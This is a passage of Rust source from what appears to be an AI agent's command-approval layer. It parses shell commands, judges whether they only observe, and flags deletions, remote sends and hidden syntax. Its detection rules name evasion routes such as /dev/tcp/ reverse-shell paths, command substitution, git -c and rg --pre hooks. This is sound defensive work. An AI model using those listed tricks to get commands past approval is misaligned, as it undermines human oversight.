1357 .unwrap_or_default();
1358 let mut words = first.iter().skip_while(|word| is_env_assignment(word));
1359 let Some(program) = words.next() else {
1360 return "a command".to_string();
1361 };
1362 let program = match basename(program) {
1363 "for" | "while" | "until" | "select" => return "a shell loop".to_string(),
1364 wrapper if WRAPPERS.contains(&wrapper) => words
1365 .find(|word| !word.starts_with('-'))
1366 .map(String::as_str),
1367 name => Some(name),
1368 };
1369 program
1370 .map(basename)
1371 .filter(|name| {
1372 !name.is_empty()
1373 && name
1374 .chars()
1375 .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
1376 })
1377 .map_or_else(|| "a command".to_string(), str::to_string)
1378}
1379
1380pub fn command_card(line: &str, title: Option<String>) -> aidaemon_core::ApprovalCard {
1387 let effects = command_effects(line);
1388 let impact = if effects.deletes {
1389 Some(aidaemon_core::HighImpact::Deletes {
1390 targets: effects.delete_targets.unwrap_or_default(),
1391 })
1392 } else if sends_remote_write(line) {
1393 Some(aidaemon_core::HighImpact::Sends)
1394 } else {
1395 None
1396 };
1397 aidaemon_core::ApprovalCard {
1398 impact,
1399 ..aidaemon_core::ApprovalCard::new(aidaemon_core::CardAction::Command {
1400 line: crate::sanitize::redact_command_secrets(line),
1401 title,
1402 looks_inside: looked_inside(line),
1403 })
1404 }
1405}
1406
1407const FOLDER_LISTERS: &[&str] = &["ls", "tree", "du", "find", "stat"];
1410
1411pub fn looked_inside(command: &str) -> Vec<String> {
1420 if command_effects(command).deletes || scan(command).writes_file {
1421 return Vec::new();
1422 }
1423 let folders = std::cell::RefCell::new(Vec::<String>::new());
1424 let reads_only = every_segment(command, &|program, args| {
1425 let ok = match program {
1426 "cd" => true,
1427 "ddev" => ddev_query_ok(args),
1428 _ => is_program_observation(program, args),
1429 };
1430 if ok && FOLDER_LISTERS.contains(&program) {
1431 let mut folders = folders.borrow_mut();
1432 for operand in lister_operands(program, args) {
1433 if let Some(name) = folder_name(operand)
1434 && !folders.contains(&name)
1435 {
1436 folders.push(name);
1437 }
1438 }
1439 }
1440 ok
1441 });
1442 if reads_only {
1443 folders.into_inner()
1444 } else {
1445 Vec::new()
1446 }
1447}
1448
1449fn lister_operands<'a>(program: &str, args: &'a [String]) -> Vec<&'a str> {
1453 let mut operands = Vec::new();
1454 let mut iter = args.iter();
1455 while let Some(arg) = iter.next() {
1456 if program == "find" && (arg.starts_with('-') || matches!(arg.as_str(), "(" | "!")) {
1457 break;
1458 }
1459 if matches!(
1460 (program, arg.as_str()),
1461 ("tree", "-L" | "-I" | "-P") | ("du", "-d")
1462 ) {
1463 iter.next();
1464 continue;
1465 }
1466 if !arg.starts_with('-') {
1467 operands.push(arg.as_str());
1468 }
1469 }
1470 operands
1471}
1472
1473fn folder_name(operand: &str) -> Option<String> {
1475 let path = operand.trim_end_matches('/');
1476 if path.is_empty()
1477 || path.starts_with('~')
1478 || path
1479 .chars()
1480 .any(|c| matches!(c, '$' | '*' | '?' | '[' | '{'))
1481 {
1482 return None;
1483 }
1484 let name = if path.starts_with('/') {
1485 path.rsplit('/').next()?
1486 } else {
1487 path.split('/')
1488 .find(|part| !part.is_empty() && *part != ".")?
1489 };
1490 (!matches!(name, "" | "." | "..")).then(|| name.to_string())
1491}
1492
1493fn reads_only_local_sites(program: &str, args: &[String]) -> bool {
1496 let spec = match program {
1497 "curl" => &CURL,
1498 "wget" => &WGET,
1499 _ => return false,
1500 };
1501 let Some(parsed) = parse_options(spec, args) else {
1502 return false;
1503 };
1504 if parsed
1505 .values
1506 .iter()
1507 .any(|(_, value)| value.contains("%output{"))
1508 {
1509 return false;
1510 }
1511 let urls: Vec<&String> = parsed
1512 .positionals
1513 .iter()
1514 .chain(
1515 parsed
1516 .values
1517 .iter()
1518 .filter(|(role, _)| *role == OptionValue::Url)
1519 .map(|(_, value)| value),
1520 )
1521 .collect();
1522 !urls.is_empty()
1523 && urls
1524 .iter()
1525 .all(|url| strict_url(url).is_some() && crate::web::local_site_key(url).is_some())
1526}
1527
1528fn every_segment(command: &str, ok: &dyn Fn(&str, &[String]) -> bool) -> bool {
1535 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
1536 return false;
1537 }
1538 let scanned = scan(&command.replace("\\\n", " "));
1540 if scanned.hidden_syntax || !scanned.input_targets.is_empty() {
1543 return false;
1544 }
1545 let Some(commands) = simple_commands(&scanned) else {
1546 return false;
1547 };
1548 !commands.is_empty()
1549 && commands.iter().all(|tokens| {
1550 let tokens = without_display_env(tokens);
1551 let Some(program) = tokens.first() else {
1552 return false;
1553 };
1554 !is_env_assignment(program)
1555 && program_path_ok(program)
1556 && ok(basename(program), &tokens[1..])
1557 })
1558}
1559
1560fn program_path_ok(program: &str) -> bool {
1562 !program.contains('/')
1563 || program
1564 .rsplit_once('/')
1565 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir))
1566}
1567
1568#[derive(Debug, Clone, PartialEq, Eq)]
1570enum ShellCommand {
1571 Simple(Vec<String>),
1573 Subshell(Vec<ShellCommand>),
1575 For {
1577 var: String,
1578 words: Vec<String>,
1579 body: Vec<ShellCommand>,
1580 },
1581}
1582
1583#[derive(Debug, Clone, PartialEq, Eq)]
1585enum Piece {
1586 Words(Vec<String>),
1588 Open,
1589 Close,
1590 Separator(char),
1592}
1593
1594#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1596enum ListEnd {
1597 Input,
1598 Subshell,
1599 Loop,
1600}
1601
1602const UNMODELLED_KEYWORDS: &[&str] = &[
1605 "if", "then", "elif", "else", "fi", "while", "until", "case", "esac", "select", "function",
1606 "{", "}", "!", "[[", "]]", "do", "in", "coproc",
1607];
1608
1609struct ShellParser {
1610 pieces: Vec<Piece>,
1611 pos: usize,
1612}
1613
1614impl ShellParser {
1615 fn list(&mut self, end: ListEnd) -> Option<Vec<ShellCommand>> {
1616 let mut commands = Vec::new();
1617 let mut ended = false;
1619 loop {
1620 let Some(piece) = self.pieces.get(self.pos).cloned() else {
1621 return (end == ListEnd::Input).then_some(commands);
1622 };
1623 match piece {
1624 Piece::Separator(_) => {
1625 ended = false;
1626 self.pos += 1;
1627 }
1628 Piece::Close => {
1629 if end != ListEnd::Subshell {
1630 return None;
1631 }
1632 self.pos += 1;
1633 return Some(commands);
1634 }
1635 _ if ended => return None,
1636 Piece::Open => {
1637 self.pos += 1;
1638 let inner = self.list(ListEnd::Subshell)?;
1639 if matches!(self.pieces.get(self.pos), Some(Piece::Words(words)) if words.is_empty())
1642 {
1643 self.pos += 1;
1644 }
1645 commands.push(ShellCommand::Subshell(inner));
1646 ended = true;
1647 }
1648 Piece::Words(words) => {
1649 let first = words.first()?.as_str();
1650 if first == "done" {
1651 if end != ListEnd::Loop || words.len() != 1 {
1652 return None;
1653 }
1654 self.pos += 1;
1655 return Some(commands);
1656 }
1657 if first == "for" {
1658 commands.push(self.for_loop(&words)?);
1659 } else if UNMODELLED_KEYWORDS.contains(&first)
1660 || without_display_env(&words)
1661 .first()
1662 .map_or(first, String::as_str)
1663 .contains('$')
1664 {
1665 return None;
1669 } else {
1670 self.pos += 1;
1671 commands.push(ShellCommand::Simple(words));
1672 }
1673 ended = true;
1674 }
1675 }
1676 }
1677 }
1678
1679 fn for_loop(&mut self, header: &[String]) -> Option<ShellCommand> {
1682 let var = header.get(1)?;
1683 let valid_name = var
1684 .chars()
1685 .next()
1686 .is_some_and(|c| c == '_' || c.is_ascii_alphabetic())
1687 && var.chars().all(|c| c == '_' || c.is_ascii_alphanumeric());
1688 if !valid_name || header.get(2).map(String::as_str) != Some("in") {
1689 return None;
1690 }
1691 let words = header[3..].to_vec();
1692 self.pos += 1;
1693 let mut separated = false;
1694 while let Some(Piece::Separator(sep)) = self.pieces.get(self.pos) {
1695 if !matches!(sep, ';' | '\n') {
1696 return None;
1697 }
1698 separated = true;
1699 self.pos += 1;
1700 }
1701 let Some(Piece::Words(opening)) = self.pieces.get(self.pos).cloned() else {
1702 return None;
1703 };
1704 if !separated || opening.first().map(String::as_str) != Some("do") {
1705 return None;
1706 }
1707 if opening.len() == 1 {
1708 self.pos += 1;
1709 } else {
1710 self.pieces[self.pos] = Piece::Words(opening[1..].to_vec());
1711 }
1712 let body = self.list(ListEnd::Loop)?;
1713 Some(ShellCommand::For {
1714 var: var.clone(),
1715 words,
1716 body,
1717 })
1718 }
1719}
1720
1721fn parse_shell(scanned: &Scan) -> Option<Vec<ShellCommand>> {
1725 let mut pieces = Vec::new();
1726 for (index, segment) in scanned.segments.iter().enumerate() {
1727 if !segment.trim().is_empty() {
1728 let words = strip_redirections(shell_words::split(segment).ok()?);
1729 pieces.push(Piece::Words(words));
1730 }
1731 if let Some(&separator) = scanned.separators.get(index) {
1732 pieces.push(match separator {
1733 '(' => Piece::Open,
1734 ')' => Piece::Close,
1735 other => Piece::Separator(other),
1736 });
1737 }
1738 }
1739 for (index, piece) in pieces.iter().enumerate() {
1741 if matches!(piece, Piece::Words(words) if words.is_empty())
1742 && !matches!(index.checked_sub(1).map(|i| &pieces[i]), Some(Piece::Close))
1743 {
1744 return None;
1745 }
1746 }
1747 ShellParser { pieces, pos: 0 }.list(ListEnd::Input)
1748}
1749
1750fn substitute_var(token: &str, var: &str, value: &str) -> String {
1752 let braced = format!("${{{var}}}");
1753 let bare = format!("${var}");
1754 let mut out = String::with_capacity(token.len());
1755 let mut rest = token;
1756 while let Some(index) = rest.find('$') {
1757 out.push_str(&rest[..index]);
1758 let tail = &rest[index..];
1759 if let Some(after) = tail.strip_prefix(&braced) {
1760 out.push_str(value);
1761 rest = after;
1762 } else if let Some(after) = tail
1763 .strip_prefix(&bare)
1764 .filter(|after| !after.starts_with(|c: char| c == '_' || c.is_ascii_alphanumeric()))
1765 {
1766 out.push_str(value);
1767 rest = after;
1768 } else {
1769 out.push('$');
1770 rest = &tail[1..];
1771 }
1772 }
1773 out.push_str(rest);
1774 out
1775}
1776
1777fn bind_var(commands: &[ShellCommand], var: &str, value: &str) -> Vec<ShellCommand> {
1779 commands
1780 .iter()
1781 .map(|command| match command {
1782 ShellCommand::Simple(tokens) => ShellCommand::Simple(
1783 tokens
1784 .iter()
1785 .map(|token| substitute_var(token, var, value))
1786 .collect(),
1787 ),
1788 ShellCommand::Subshell(inner) => ShellCommand::Subshell(bind_var(inner, var, value)),
1789 ShellCommand::For {
1790 var: inner_var,
1791 words,
1792 body,
1793 } => ShellCommand::For {
1794 var: inner_var.clone(),
1795 words: words
1796 .iter()
1797 .map(|word| substitute_var(word, var, value))
1798 .collect(),
1799 body: if inner_var == var {
1801 body.clone()
1802 } else {
1803 bind_var(body, var, value)
1804 },
1805 },
1806 })
1807 .collect()
1808}
1809
1810fn flatten_commands(commands: &[ShellCommand], out: &mut Vec<Vec<String>>) -> Option<()> {
1816 for command in commands {
1817 match command {
1818 ShellCommand::Simple(tokens) => out.push(tokens.clone()),
1819 ShellCommand::Subshell(inner) => flatten_commands(inner, out)?,
1820 ShellCommand::For { var, words, body } => {
1821 if words.is_empty() {
1822 flatten_commands(body, out)?;
1823 }
1824 for word in words {
1825 if word.is_empty()
1826 || word.starts_with('-')
1827 || word
1828 .chars()
1829 .any(|c| c.is_whitespace() || matches!(c, '$' | '`' | '"' | '\''))
1830 {
1831 return None;
1832 }
1833 flatten_commands(&bind_var(body, var, word), out)?;
1834 }
1835 }
1836 }
1837 }
1838 Some(())
1839}
1840
1841fn simple_commands(scanned: &Scan) -> Option<Vec<Vec<String>>> {
1845 let mut out = Vec::new();
1846 flatten_commands(&parse_shell(scanned)?, &mut out)?;
1847 Some(out)
1848}
1849
1850fn runs_inline_code(program: &str, args: &[String]) -> bool {
1853 let option = |names: &[&str]| {
1854 args.iter().any(|arg| {
1855 names.iter().any(|name| match arg.strip_prefix(name) {
1856 Some(_) if name.len() == 2 => true,
1858 Some(rest) => rest.is_empty() || rest.starts_with('='),
1859 None => false,
1860 })
1861 })
1862 };
1863 match program {
1864 "git" => {
1867 option(&["-c", "--config-env", "--exec"])
1868 || (args.first().is_some_and(|sub| sub == "rebase") && option(&["-x"]))
1869 }
1870 "cargo" => option(&["--config"]),
1871 "make" => option(&["--eval", "-E"]),
1872 "go" => option(&["-toolexec", "--toolexec", "-exec", "--exec"]),
1873 "python" | "python3" | "node" => args.first().is_some_and(|script| {
1875 script == "-" || script == "/dev/stdin" || script.starts_with("/dev/fd/")
1876 }),
1877 _ => false,
1878 }
1879}
1880
1881fn local_work_args_ok(program: &str, args: &[String]) -> bool {
1882 if runs_inline_code(program, args) {
1883 return false;
1884 }
1885 if let Some((_, subcommands)) = LOCAL_WORK_SUBCOMMANDS
1886 .iter()
1887 .find(|(name, _)| *name == program)
1888 {
1889 let rest = match program {
1892 "cargo" => args
1893 .iter()
1894 .skip_while(|arg| arg.starts_with('+'))
1895 .collect::<Vec<_>>(),
1896 _ => args.iter().collect(),
1897 };
1898 return rest
1899 .first()
1900 .is_some_and(|subcommand| subcommands.contains(&subcommand.as_str()));
1901 }
1902 match program {
1903 "python" | "python3" | "node" => args.first().is_some_and(|arg| !arg.starts_with('-')),
1905 "find" => !args
1906 .iter()
1907 .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())),
1908 "ddev" => ddev_query_ok(args),
1909 _ if LOCAL_WORK_PROGRAMS.contains(&program) => true,
1910 _ if OBSERVATION_PROGRAMS.contains(&program) => observation_args_ok(program, args),
1911 _ if in_powershell_table(POWERSHELL_LOCAL_WORK, program)
1912 || in_powershell_table(POWERSHELL_DELETES, program) =>
1913 {
1914 powershell_args_plain(args)
1915 }
1916 _ => is_powershell_observation(program, args),
1917 }
1918}
1919
1920fn basename(program: &str) -> &str {
1921 let name = program.rsplit('/').next().unwrap_or(program);
1922 if cfg!(windows)
1925 && let Some(stem) = name
1926 .len()
1927 .checked_sub(4)
1928 .filter(|&cut| name.is_char_boundary(cut) && name[cut..].eq_ignore_ascii_case(".exe"))
1929 .map(|cut| &name[..cut])
1930 {
1931 return stem;
1932 }
1933 if cfg!(windows)
1936 && [
1937 "curl",
1938 "wget",
1939 "iwr",
1940 "irm",
1941 "invoke-webrequest",
1942 "invoke-restmethod",
1943 ]
1944 .iter()
1945 .any(|alias| alias.eq_ignore_ascii_case(name))
1946 {
1947 return "invoke-webrequest";
1948 }
1949 name
1950}
1951
1952fn is_display_env_assignment(token: &str) -> bool {
1957 is_env_assignment(token)
1958 && token.split_once('=').is_some_and(|(name, _)| {
1959 matches!(
1960 name,
1961 "TZ" | "LANG"
1962 | "LANGUAGE"
1963 | "LC_ALL"
1964 | "COLUMNS"
1965 | "LINES"
1966 | "NO_COLOR"
1967 | "CLICOLOR"
1968 | "TERM"
1969 ) || (name.starts_with("LC_") && name[3..].chars().all(|ch| ch.is_ascii_uppercase()))
1970 })
1971}
1972
1973fn without_display_env(tokens: &[String]) -> &[String] {
1976 let start = tokens
1977 .iter()
1978 .take_while(|token| is_display_env_assignment(token))
1979 .count();
1980 &tokens[start..]
1981}
1982
1983fn is_env_assignment(token: &str) -> bool {
1984 token.split_once('=').is_some_and(|(name, _)| {
1985 !name.is_empty()
1986 && name.chars().enumerate().all(|(index, ch)| {
1987 ch == '_' || ch.is_ascii_alphanumeric() && (index > 0 || !ch.is_ascii_digit())
1988 })
1989 })
1990}
1991
1992struct Scan {
1994 segments: Vec<String>,
1995 unsafe_syntax: bool,
1999 hidden_syntax: bool,
2004 writes_file: bool,
2006 input_targets: Vec<String>,
2010 output_targets: Vec<String>,
2013 separators: Vec<char>,
2017}
2018
2019fn redirect_target(chars: &[char], mut j: usize) -> String {
2020 while chars.get(j).is_some_and(|c| c.is_whitespace()) {
2021 j += 1;
2022 }
2023 chars[j.min(chars.len())..]
2024 .iter()
2025 .take_while(|c| !c.is_whitespace() && !matches!(c, ';' | '|' | '&' | '(' | ')' | '<' | '>'))
2026 .collect()
2027}
2028
2029fn scan(command: &str) -> Scan {
2030 let command = shell_text(command);
2031 let chars: Vec<char> = command.chars().collect();
2032 let mut segments = Vec::new();
2033 let mut cur = String::new();
2034 let mut unsafe_syntax = false;
2035 let mut hidden_syntax = false;
2036 let mut writes_file = false;
2037 let mut input_targets = Vec::new();
2038 let mut output_targets = Vec::new();
2039 let mut separators = Vec::new();
2040 let (mut in_single, mut in_double) = (false, false);
2041 let mut i = 0;
2042 while i < chars.len() {
2043 let c = chars[i];
2044 if in_single {
2045 hidden_syntax |= c == '\n';
2046 in_single = c != '\'';
2047 cur.push(c);
2048 i += 1;
2049 continue;
2050 }
2051 let next = chars.get(i + 1).copied();
2052 match c {
2053 '\\' => {
2054 cur.push(c);
2055 if let Some(n) = next {
2056 cur.push(n);
2057 }
2058 i += 2;
2059 continue;
2060 }
2061 '\n' => {
2062 unsafe_syntax = true;
2063 segments.push(std::mem::take(&mut cur));
2064 separators.push(c);
2065 }
2066 '\'' if !in_double => {
2067 in_single = true;
2068 cur.push(c);
2069 }
2070 '"' => {
2071 in_double = !in_double;
2072 cur.push(c);
2073 }
2074 '`' => {
2076 unsafe_syntax = true;
2077 hidden_syntax = true;
2078 cur.push(c);
2079 }
2080 '$' if next == Some('(') || (next == Some('\'') && !in_double) => {
2081 unsafe_syntax = true;
2082 hidden_syntax = true;
2083 cur.push(c);
2084 }
2085 _ if in_double => cur.push(c),
2086 '#' if cur.chars().last().is_none_or(|p| p.is_whitespace()) => {
2087 unsafe_syntax = true;
2088 hidden_syntax = true;
2089 cur.push(c);
2090 }
2091 ';' | '(' | ')' => {
2092 if c != ';' {
2093 unsafe_syntax = true;
2094 }
2095 segments.push(std::mem::take(&mut cur));
2096 separators.push(c);
2097 }
2098 '|' | '&' if !(c == '&' && next == Some('>')) => {
2099 segments.push(std::mem::take(&mut cur));
2100 separators.push(c);
2101 }
2102 '&' => cur.push(c),
2103 '<' => {
2104 let target = redirect_target(&chars, i + 1);
2105 let word: String = cur
2108 .chars()
2109 .rev()
2110 .take_while(|c| !c.is_whitespace())
2111 .collect();
2112 let numbered = !word.is_empty() && word.chars().all(|d| d.is_ascii_digit());
2113 if numbered
2114 || matches!(next, Some('<') | Some('(') | Some('>'))
2115 || target.is_empty()
2116 {
2117 unsafe_syntax = true;
2118 hidden_syntax = true;
2119 } else if target != "/dev/null" {
2120 input_targets.push(target);
2121 }
2122 cur.push(c);
2123 }
2124 '>' => {
2125 let mut j = i + 1;
2126 if matches!(chars.get(j), Some('>') | Some('|')) {
2127 j += 1;
2128 }
2129 let mut dup = false;
2130 if chars.get(j) == Some(&'&') {
2131 let word = redirect_target(&chars, j + 1);
2135 let digits = word.trim_end_matches('-');
2136 dup = word == "-"
2137 || (!digits.is_empty()
2138 && digits.chars().all(|d| d.is_ascii_digit())
2139 && word.len() - digits.len() <= 1);
2140 j += 1;
2141 }
2142 if next == Some('(') {
2143 unsafe_syntax = true;
2144 hidden_syntax = true;
2145 } else if !dup {
2146 let target = redirect_target(&chars, j);
2147 if target != "/dev/null" {
2148 writes_file = true;
2149 if !is_standard_stream(&target) {
2150 output_targets.push(target);
2151 }
2152 }
2153 }
2154 cur.extend(&chars[i..j]);
2155 i = j;
2156 continue;
2157 }
2158 _ => cur.push(c),
2159 }
2160 i += 1;
2161 }
2162 if in_single || in_double {
2163 unsafe_syntax = true;
2164 hidden_syntax = true;
2165 }
2166 segments.push(cur);
2167 Scan {
2168 segments,
2169 unsafe_syntax,
2170 hidden_syntax,
2171 writes_file,
2172 input_targets,
2173 output_targets,
2174 separators,
2175 }
2176}
2177
2178fn is_standard_stream(target: &str) -> bool {
2180 matches!(target, "/dev/stdout" | "/dev/stderr")
2181 || target
2182 .strip_prefix("/dev/fd/")
2183 .is_some_and(|fd| !fd.is_empty() && fd.chars().all(|c| c.is_ascii_digit()))
2184}
2185
2186fn is_redirect_word(token: &str) -> bool {
2187 let t = token.trim_start_matches(|c: char| c.is_ascii_digit());
2188 t.starts_with('>') || t.starts_with('<') || t.starts_with("&>")
2189}
2190
2191fn strip_redirections(tokens: Vec<String>) -> Vec<String> {
2194 let mut out = Vec::new();
2195 let mut iter = tokens.into_iter();
2196 while let Some(token) = iter.next() {
2197 if is_redirect_word(&token) {
2198 let bare = token.trim_start_matches(|c: char| c.is_ascii_digit());
2199 if bare.chars().all(|c| matches!(c, '>' | '<' | '&' | '|')) {
2200 iter.next();
2201 }
2202 continue;
2203 }
2204 out.push(token);
2205 }
2206 out
2207}
2208
2209fn is_observation_only(command: &str) -> bool {
2210 is_observation(command, false)
2211}
2212
2213pub fn is_observation_reading_input(command: &str) -> bool {
2218 is_observation(command, true)
2219}
2220
2221fn is_observation(command: &str, allow_input_redirects: bool) -> bool {
2222 let scanned = scan(command);
2223 if (!allow_input_redirects && !scanned.input_targets.is_empty())
2224 || scanned.hidden_syntax
2225 || scanned.separators.contains(&'\n')
2226 || scanned.writes_file
2227 || command.contains("/dev/tcp/")
2228 || command.contains("/dev/udp/")
2229 {
2230 return false;
2231 }
2232 let Some(commands) = simple_commands(&scanned) else {
2233 return false;
2234 };
2235 !commands.is_empty() && commands.iter().all(|tokens| observing_command(tokens))
2236}
2237
2238fn observing_command(tokens: &[String]) -> bool {
2240 let tokens = without_display_env(tokens);
2241 let Some(first) = tokens.first() else {
2242 return false;
2243 };
2244 if is_env_assignment(first) {
2245 return false;
2246 }
2247 let tokens = if first == "command" {
2249 &tokens[1..]
2250 } else {
2251 tokens
2252 };
2253 let Some(program) = tokens.first() else {
2254 return false;
2255 };
2256 let name = basename(program);
2257 program_path_ok(program) && is_program_observation(name, &tokens[1..])
2258}
2259
2260fn tree_args_ok(args: &[String]) -> bool {
2263 let mut iter = args.iter();
2264 while let Some(arg) = iter.next() {
2265 if matches!(arg.as_str(), "-L" | "-I" | "-P") {
2266 if iter.next().is_none() {
2267 return false;
2268 }
2269 } else if let Some(long) = arg.strip_prefix("--") {
2270 if !matches!(long, "noreport" | "dirsfirst") {
2271 return false;
2272 }
2273 } else if let Some(cluster) = arg.strip_prefix('-')
2274 && (cluster.is_empty() || !cluster.chars().all(|c| "adfshDCn".contains(c)))
2275 {
2276 return false;
2277 }
2278 }
2279 true
2280}
2281
2282fn short_cluster_has(arg: &str, letters: &[char]) -> bool {
2283 arg.starts_with('-') && !arg.starts_with("--") && arg.chars().any(|c| letters.contains(&c))
2284}
2285
2286fn date_args_observe(args: &[String]) -> bool {
2289 let is_format = |arg: &String| arg.starts_with('+');
2290 args.iter().filter(|arg| is_format(arg)).count() <= 1
2291 && args.iter().all(|arg| {
2292 is_format(arg)
2293 || matches!(
2294 arg.as_str(),
2295 "-u" | "--utc" | "--universal" | "-R" | "--rfc-email"
2296 )
2297 || arg.starts_with("-I")
2298 || arg == "--iso-8601"
2299 || arg.starts_with("--iso-8601=")
2300 })
2301}
2302
2303fn find_args_observe(args: &[String]) -> bool {
2307 let mut index = 0;
2308 while let Some(arg) = args.get(index) {
2309 match arg.as_str() {
2310 "-exec" | "-execdir" => {
2311 let rest = &args[index + 1..];
2312 let Some(end) = rest
2313 .iter()
2314 .position(|token| matches!(token.as_str(), ";" | "\\;" | "+"))
2315 else {
2316 return false;
2317 };
2318 if end == 0 || !observing_command(&rest[..end]) {
2319 return false;
2320 }
2321 index += end + 2;
2322 }
2323 flag if FIND_MUTATING_FLAGS.contains(&flag) => return false,
2324 _ => index += 1,
2325 }
2326 }
2327 true
2328}
2329
2330fn sysctl_args_read(args: &[String]) -> bool {
2333 args.iter().all(|arg| match arg.strip_prefix('-') {
2334 Some(long) if long.starts_with('-') => {
2335 matches!(long, "-all" | "-values" | "-names")
2336 }
2337 Some(cluster) => {
2338 !cluster.is_empty() && cluster.chars().all(|ch| "naAehNqxbdoX".contains(ch))
2339 }
2340 None => {
2341 !arg.contains('=')
2342 && arg
2343 .chars()
2344 .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | '-'))
2345 }
2346 })
2347}
2348
2349fn top_samples_and_exits(args: &[String]) -> bool {
2352 let positive = |value: Option<&String>| {
2353 value.is_some_and(|value| value.parse::<u32>().is_ok_and(|n| n >= 1))
2354 };
2355 let mac = args
2356 .iter()
2357 .position(|arg| arg == "-l")
2358 .is_some_and(|index| positive(args.get(index + 1)));
2359 let batch = args.iter().any(|arg| arg == "-b" || arg == "-bn1")
2360 && (args.iter().any(|arg| arg == "-bn1")
2361 || args
2362 .iter()
2363 .position(|arg| arg == "-n")
2364 .is_some_and(|index| positive(args.get(index + 1))));
2365 mac || batch
2366}
2367
2368fn is_sleep_duration(arg: &str) -> bool {
2370 let number = arg.strip_suffix(['s', 'm', 'h', 'd']).unwrap_or(arg);
2371 !number.is_empty()
2372 && number.chars().all(|ch| ch.is_ascii_digit() || ch == '.')
2373 && number.parse::<f64>().is_ok_and(f64::is_finite)
2374}
2375
2376fn observation_args_ok(program: &str, args: &[String]) -> bool {
2377 let any = |pred: &dyn Fn(&str) -> bool| args.iter().any(|arg| pred(arg));
2378 match program {
2379 "find" => find_args_observe(args),
2380 "sysctl" => sysctl_args_read(args),
2381 "top" => top_samples_and_exits(args),
2382 "rg" => !any(&|a| {
2383 a == "--pre"
2384 || a.starts_with("--pre=")
2385 || a.starts_with("--pre-glob")
2386 || a.starts_with("--hostname-bin")
2387 || a == "--search-zip"
2388 || short_cluster_has(a, &['z'])
2389 }),
2390 "sort" => !any(&|a| {
2391 a.starts_with("--compress-program")
2392 || a.starts_with("--output")
2393 || short_cluster_has(a, &['o'])
2394 }),
2395 "uniq" => {
2397 args.iter()
2398 .filter(|arg| !arg.starts_with('-') || arg.as_str() == "-")
2399 .count()
2400 < 2
2401 }
2402 "tree" => tree_args_ok(args),
2403 "date" => date_args_observe(args),
2404 "hostname" => args
2406 .iter()
2407 .all(|arg| matches!(arg.as_str(), "-s" | "-f" | "--short" | "--fqdn")),
2408 "sleep" => !args.is_empty() && args.iter().all(|arg| is_sleep_duration(arg)),
2411 "file" => !any(&|a| {
2412 a == "--compile" || a.starts_with("--magic-file") || short_cluster_has(a, &['C', 'm'])
2413 }),
2414 "git" => {
2415 let mut index = 0;
2416 while let Some(arg) = args.get(index).filter(|arg| arg.starts_with('-')) {
2417 if arg == "-C" || arg.starts_with("--git-dir") || arg.starts_with("--work-tree") {
2420 return false;
2421 }
2422 if arg == "-c" || arg.starts_with("--config-env") || arg.starts_with("--exec-path")
2423 {
2424 return false;
2425 }
2426 index += 1;
2427 }
2428 let Some(subcommand) = args.get(index) else {
2429 return false;
2430 };
2431 let rest = &args[index + 1..];
2432 if rest
2433 .iter()
2434 .any(|a| a == "--ext-diff" || a.starts_with("--output") || a == "--textconv")
2435 {
2436 return false;
2437 }
2438 if GIT_OBSERVATION_SUBCOMMANDS.contains(&subcommand.as_str()) {
2439 return true;
2440 }
2441 subcommand == "branch"
2442 && rest.iter().all(|arg| {
2443 matches!(
2444 arg.as_str(),
2445 "--list" | "-a" | "-r" | "-v" | "--show-current"
2446 )
2447 })
2448 }
2449 _ => true,
2450 }
2451}
2452
2453fn substitution_bodies(command: &str) -> Vec<String> {
2456 let chars: Vec<char> = command.chars().collect();
2457 let mut bodies = Vec::new();
2458 let mut in_single = false;
2459 let mut i = 0;
2460 while i < chars.len() {
2461 let c = chars[i];
2462 if c == '\'' {
2463 in_single = !in_single;
2464 } else if !in_single && c == '\\' {
2465 i += 1;
2466 } else if !in_single && c == '$' && chars.get(i + 1) == Some(&'(') {
2467 let mut depth = 1;
2468 let mut j = i + 2;
2469 while j < chars.len() && depth > 0 {
2470 match chars[j] {
2471 '(' => depth += 1,
2472 ')' => depth -= 1,
2473 _ => {}
2474 }
2475 j += 1;
2476 }
2477 let end = if depth == 0 { j - 1 } else { j };
2478 bodies.push(chars[i + 2..end].iter().collect());
2479 } else if !in_single
2480 && c == '`'
2481 && let Some(len) = chars[i + 1..].iter().position(|&x| x == '`')
2482 {
2483 bodies.push(chars[i + 1..i + 1 + len].iter().collect());
2484 i += len + 1;
2485 }
2486 i += 1;
2487 }
2488 bodies
2489}
2490
2491fn expanded_commands(command: &str) -> Vec<Vec<String>> {
2495 let mut out = Vec::new();
2496 collect_commands(command, 0, &mut out);
2497 out
2498}
2499
2500const MAX_DEPTH: usize = 4;
2501
2502fn collect_commands(command: &str, depth: usize, out: &mut Vec<Vec<String>>) {
2503 if depth > MAX_DEPTH {
2504 return;
2505 }
2506 for segment in scan(command).segments {
2507 if segment.trim().is_empty() {
2508 continue;
2509 }
2510 let tokens = shell_words::split(&segment)
2511 .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
2512 push_with_wrappers(strip_redirections(tokens), depth, out);
2513 }
2514 for body in substitution_bodies(command) {
2515 collect_commands(&body, depth + 1, out);
2516 }
2517 for invocation in structural_shell_invocations(command) {
2518 let mut tokens = vec![invocation.program];
2519 tokens.extend(invocation.arguments);
2520 push_with_wrappers(tokens, depth, out);
2521 }
2522}
2523
2524fn push_with_wrappers(mut tokens: Vec<String>, depth: usize, out: &mut Vec<Vec<String>>) {
2525 if depth > MAX_DEPTH || tokens.len() > 64 {
2526 return;
2527 }
2528 while tokens.first().is_some_and(|t| is_env_assignment(t)) {
2529 tokens.remove(0);
2530 }
2531 let Some(first) = tokens.first() else {
2532 return;
2533 };
2534 let program = basename(first).to_string();
2535 out.push(tokens.clone());
2536 if WRAPPERS.contains(&program.as_str()) {
2537 for start in 1..tokens.len() {
2538 push_with_wrappers(tokens[start..].to_vec(), depth + 1, out);
2539 }
2540 }
2541 if program == "find" {
2542 for (index, token) in tokens.iter().enumerate() {
2543 if matches!(token.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir") {
2544 push_with_wrappers(tokens[index + 1..].to_vec(), depth + 1, out);
2545 }
2546 }
2547 }
2548}
2549
